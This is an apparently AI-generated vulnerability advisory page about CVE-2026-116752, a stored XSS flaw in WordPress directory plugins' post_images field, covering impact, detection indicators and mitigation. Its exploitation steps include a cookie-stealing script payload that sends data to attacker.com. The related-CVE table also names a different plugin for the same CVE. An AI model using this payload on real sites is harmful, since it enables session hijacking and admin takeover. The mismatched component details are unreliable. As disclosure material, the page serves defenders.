Vulnerability DatabaseCVE-2026-116752

CVE-2026-116752: 
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-116752 is a stored cross-site scripting (XSS) vulnerability affecting the WP Business Directory Plugin and Classified Listings Directory plugin for WordPress. The flaw exists in the post_images parameter due to insufficient input sanitization and output escaping, allowing authenticated users with subscriber-level access or above to inject malicious web scripts. These scripts execute in the context of administrators or editors when they open the pending listing's edit screen, enabling a privilege-escalation-capable stored XSS chain. The vulnerability is estimated to be of MEDIUM severity (Feedly, VulDB).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation / Cross-Site Scripting), stemming from insufficient sanitization of the post_images parameter and a lack of proper output escaping when rendering listing data. An authenticated attacker with at minimum subscriber-level privileges can submit a crafted listing containing a malicious script payload in the post_images field. When an administrator or editor subsequently opens the pending listing's edit screen in the WordPress backend, the stored payload executes in their browser session, potentially enabling privilege escalation or account takeover (Feedly, Radar Offseq).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of a privileged WordPress user (administrator or editor) who reviews a pending listing. This can lead to session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts), or further site compromise. The stored nature of the XSS means the payload persists and can affect multiple privileged users over time without repeated attacker interaction (Feedly, VulDB).

Exploitability

Exploitation requires only subscriber-level authentication on the target WordPress site, which is a low barrier in environments that allow open user registration. No public proof-of-concept code or evidence of in-the-wild exploitation has been reported at this time. No EPSS score or CISA KEV catalog entry is currently associated with this CVE (Feedly).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the WP Business Directory Plugin or Classified Listings Directory plugin with open user registration enabled.
  2. Register an account: Create or use an existing subscriber-level (or higher) account on the target WordPress site.
  3. Submit a malicious listing: Submit a new directory listing via the plugin's frontend form, injecting a crafted XSS payload into the post_images parameter (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
  4. Wait for admin review: The listing enters a pending state awaiting administrator or editor approval.
  5. Payload execution: When the administrator or editor opens the pending listing's edit screen in the WordPress backend, the stored script executes in their browser session.
  6. Privilege escalation: The attacker captures the admin's session cookie or uses the script to perform actions on their behalf, such as creating a new administrator account (Feedly, Radar Offseq).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to listing submission endpoints containing script tags or encoded JavaScript in the post_images parameter.
  • Database: WordPress wp_posts or related plugin tables containing entries with <script>, javascript:, or event handler attributes (e.g., onerror=, onload=) in the post_images field.
  • Network: Outbound requests from administrator browsers to unknown external domains shortly after accessing the pending listings edit screen in the WordPress admin panel.
  • Process/Session: Unexpected new administrator accounts created in WordPress without corresponding legitimate registration activity.

Mitigation and workarounds

Users should update the WP Business Directory Plugin and Classified Listings Directory plugin to the latest patched versions as soon as they are released by the respective vendors (wp-business_directory_project and radiustheme). As an interim workaround, administrators should disable open user registration to prevent untrusted users from submitting listings, and avoid reviewing pending listings until the plugins are patched. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide additional protection (Feedly).

Additional resources


Source: This report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-109197HIGH7.5
  • wpdirectorykit
NoYesOct 31, 2026
CVE-2026-120114HIGH7.2
  • debug-log-manager
NoYesOct 31, 2026
CVE-2026-15272MEDIUM6.5
  • w2dc
NoYesOct 31, 2026
CVE-2026-96554MEDIUM6.4
  • buddyboss-platform
NoYesOct 31, 2026
CVE-2026-116752MEDIUM6.4
  • geodirectory
NoYesOct 31, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management